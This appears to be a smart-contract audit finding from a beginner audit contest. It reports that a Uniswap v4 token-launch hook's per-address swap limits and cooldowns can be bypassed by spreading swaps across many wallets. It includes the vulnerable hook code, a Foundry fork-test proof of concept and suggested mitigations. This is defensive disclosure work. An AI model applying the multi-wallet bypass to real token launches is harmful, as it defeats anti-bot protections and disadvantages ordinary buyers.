Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

Per-address tracking trivially bypassed via multiple wallets defeating anti-bot protection

Author Revealed upon completion

Per-address tracking trivially bypassed via multiple wallets defeating anti-bot protection

Description

The TokenLaunchHook tracks swap amounts and cooldowns on a per-address basis using addressSwappedAmount and addressLastSwapBlock mappings. This design is intended to prevent bots from exceeding swap limits during the launch phases.

However, this protection is trivially bypassed by distributing tokens across multiple wallets. Each new wallet has fresh limits and no cooldown history, allowing a bot to exceed the intended per-user limits by simply using N wallets to get N times the allowed swap amount.

@> function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
}
uint256 blocksSinceLaunch = block.number - launchStartBlock;
uint256 newPhase;
if (blocksSinceLaunch <= phase1Duration) {
newPhase = 1;
} else if (blocksSinceLaunch <= phase1Duration + phase2Duration) {
newPhase = 2;
} else {
newPhase = 3;
}
if (newPhase != currentPhase) {
_resetPerAddressTracking();
currentPhase = newPhase;
lastPhaseUpdateBlock = block.number;
}
if (currentPhase == 3) {
return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, LPFeeLibrary.OVERRIDE_FEE_FLAG);
}
uint256 phaseLimitBps = currentPhase == 1 ? phase1LimitBps : phase2LimitBps;
uint256 phaseCooldown = currentPhase == 1 ? phase1Cooldown : phase2Cooldown;
uint256 phasePenaltyBps = currentPhase == 1 ? phase1PenaltyBps : phase2PenaltyBps;
uint256 swapAmount =
params.amountSpecified < 0 ? uint256(-params.amountSpecified) : uint256(params.amountSpecified);
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
bool applyPenalty = false;
if (addressLastSwapBlock[sender] > 0) {
@> uint256 blocksSinceLastSwap = block.number - addressLastSwapBlock[sender];
if (blocksSinceLastSwap < phaseCooldown) {
applyPenalty = true;
}
}
@> if (!applyPenalty && addressSwappedAmount[sender] + swapAmount > maxSwapAmount) {
applyPenalty = true;
}
@> addressSwappedAmount[sender] += swapAmount;
@> addressLastSwapBlock[sender] = block.number;
uint24 feeOverride = 0;
if (applyPenalty) {
feeOverride = uint24((phasePenaltyBps * 100));
}
return (
BaseHook.beforeSwap.selector,
BeforeSwapDeltaLibrary.ZERO_DELTA,
feeOverride | LPFeeLibrary.OVERRIDE_FEE_FLAG
);
}

Risk

Likelihood:

  • Creating new wallets is free, very easy and can be automated

  • This is the primary attack vector that any sophisticated bot would use against per-address rate limiting

Impact:

  • The anti-bot protection is completely ineffective against its intended targets

  • A bot with 10 wallets can swap 10x the intended limit without penalties, and bypass cooldowns

  • The core value proposition of the hook (anti-bot protection) is nullified

Proof of Concept

To run the following test, apply the following patches in TokenLaunchHook.sol and TokenLaunchHook:_beforeSwap to correctly use the original sender of the swap transaction rather than the router contract.

See https://docs.uniswap.org/contracts/v4/guides/accessing-msg.sender-using-hook

+ interface IMsgSender {
+ function msgSender() external view returns (address);
+ }
contract TokenLaunchHook is BaseHook {
// ...
}
+ error RouterMissingMsgSender(address router);
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
+ try IMsgSender(sender).msgSender() returns (address swapper) {
+ sender = swapper;
+ } catch {
+ revert RouterMissingMsgSender(msg.sender);
+ }
// ...
}

Then add the following test file to the repository, and run forge test --mt test_Fork_SybilBypassesLimits -vvvv.

Note: Make sure to add an env file with MAINNET_RPC_URL="Your mainnet rpc url"

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test, console2} from "forge-std/Test.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IPositionManager} from "v4-periphery/src/interfaces/IPositionManager.sol";
import {IUniswapV4Router04} from "lib/hookmate/src/interfaces/router/IUniswapV4Router04.sol";
import {AddressConstants} from "lib/hookmate/src/constants/AddressConstants.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {V4Router} from "v4-periphery/src/V4Router.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolId} from "v4-core/types/PoolId.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {SqrtPriceMath} from "v4-core/libraries/SqrtPriceMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {BeforeSwapDelta, BeforeSwapDeltaLibrary} from "v4-core/types/BeforeSwapDelta.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Actions} from "v4-periphery/src/libraries/Actions.sol";
import {IAllowanceTransfer} from "permit2/src/interfaces/IAllowanceTransfer.sol";
contract TestTokenLaunchHookFork is Test, ERC1155TokenReceiver {
address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
IPoolManager poolManager;
IPositionManager positionManager;
IUniswapV4Router04 swapRouter;
MockERC20 token;
TokenLaunchHook public antiBotHook;
PoolKey public key;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
address user1 = address(0x1);
address user2 = address(0x2);
address bot1 = address(0xB0B1);
address bot2 = address(0xB0B2);
address deployer = makeAddr("deployer");
uint160 constant SQRT_PRICE_1_1_s = 79228162514264337593543950336;
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100;
uint256 phase2LimitBps = 500;
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000;
uint256 phase2PenaltyBps = 500;
string MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
function setUp() public {
vm.createSelectFork(MAINNET_RPC_URL);
poolManager = IPoolManager(AddressConstants.getPoolManagerAddress(block.chainid));
positionManager = IPositionManager(payable(AddressConstants.getPositionManagerAddress(block.chainid)));
swapRouter = IUniswapV4Router04(payable(AddressConstants.getV4SwapRouterAddress(block.chainid)));
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
token.mint(address(this), 1000 ether);
token.mint(user1, 1000 ether);
token.mint(user2, 1000 ether);
token.mint(bot1, 1000 ether);
token.mint(bot2, 1000 ether);
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
poolManager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
antiBotHook = new TokenLaunchHook{salt: salt}(
poolManager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(antiBotHook) == hookAddress, "Hook address mismatch");
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(poolManager), type(uint256).max);
vm.prank(user1);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(user2);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(bot1);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(bot2);
token.approve(address(swapRouter), type(uint256).max);
key = PoolKey({
currency0: ethCurrency,
currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: IHooks(address(antiBotHook))
});
vm.startPrank(deployer);
poolManager.initialize(key, SQRT_PRICE_1_1_s);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 ethToAdd = 100 ether;
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1_s, sqrtPriceAtTickUpper, ethToAdd);
vm.deal(deployer, 200 ether);
token.mint(deployer, 2000 ether);
// Approve Permit2, then approve PositionManager via Permit2
token.approve(PERMIT2, type(uint256).max);
IAllowanceTransfer(PERMIT2).approve(address(token), address(positionManager), type(uint160).max, type(uint48).max);
// Use PositionManager to add liquidity (handles unlock callback internally)
bytes memory actions = abi.encodePacked(uint8(Actions.MINT_POSITION), uint8(Actions.SETTLE_PAIR));
bytes[] memory params = new bytes[](2);
params[0] = abi.encode(key, -60, 60, uint256(liquidityDelta), type(uint256).max, type(uint256).max, deployer, bytes(""));
params[1] = abi.encode(ethCurrency, tokenCurrency);
positionManager.modifyLiquidities{value: ethToAdd}(abi.encode(actions, params), block.timestamp + 60);
vm.stopPrank();
}
function test_Fork_SybilBypassesLimits() public {
uint256 swapAmount = 5 ether;
// The following parameters are passed in for swaps:
// amountSpecified: negative = exact input (selling this amount of tokens)
// amountLimit: 0 = unlimited
// zeroForOne: false = sell token (currency1) for ETH (currency0)
// poolKey: the pool to swap through
// hookData: the data to be passed to the hook
// receiver: the address to send the output tokens to
// deadline: block.timestamp must be before this value, otherwise the transaction will revert
// Execute 2 swaps from the user1 wallet
vm.startPrank(user1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot1, block.timestamp + 60);
vm.roll(block.number + phase1Duration + 1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot2, block.timestamp + 60);
vm.stopPrank();
// Execute 2 swaps from seperate bot wallets
vm.startPrank(bot1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot1, block.timestamp + 60);
vm.stopPrank();
vm.startPrank(bot2);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot2, block.timestamp + 60);
vm.stopPrank();
uint256 swappedAmountUser1 = antiBotHook.addressSwappedAmount(user1);
uint256 swappedAmountBot1 = antiBotHook.addressSwappedAmount(bot1);
uint256 swappedAmountBot2 = antiBotHook.addressSwappedAmount(bot2);
// Assert that the user has a higher tracked swap amount than a bot spreading swaps across multiple addresses
// This means the bot can continue to do this to bypass penalty limits
assertEq(antiBotHook.addressSwappedAmount(bot1), swapAmount);
assertEq(antiBotHook.addressSwappedAmount(bot2), swapAmount);
assertEq(antiBotHook.addressSwappedAmount(user1), swapAmount * 2);
assertGt(swappedAmountUser1, swappedAmountBot1);
assertGt(swappedAmountUser1, swappedAmountBot2);
}
}

Recommended Mitigation

Per-address rate limiting is fundamentally weak against Sybil attacks. Consider alternative approaches:

  1. Global rate limiting: Limit total swap volume across all addresses during launch phases

  2. Liquidity-based dynamic limits: Scale limits based on pool liquidity rather than fixed per-address amounts

  3. Time-based or Block-based limiting

  4. Whitelist approach: Only allow pre-approved addresses to swap during early phases

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!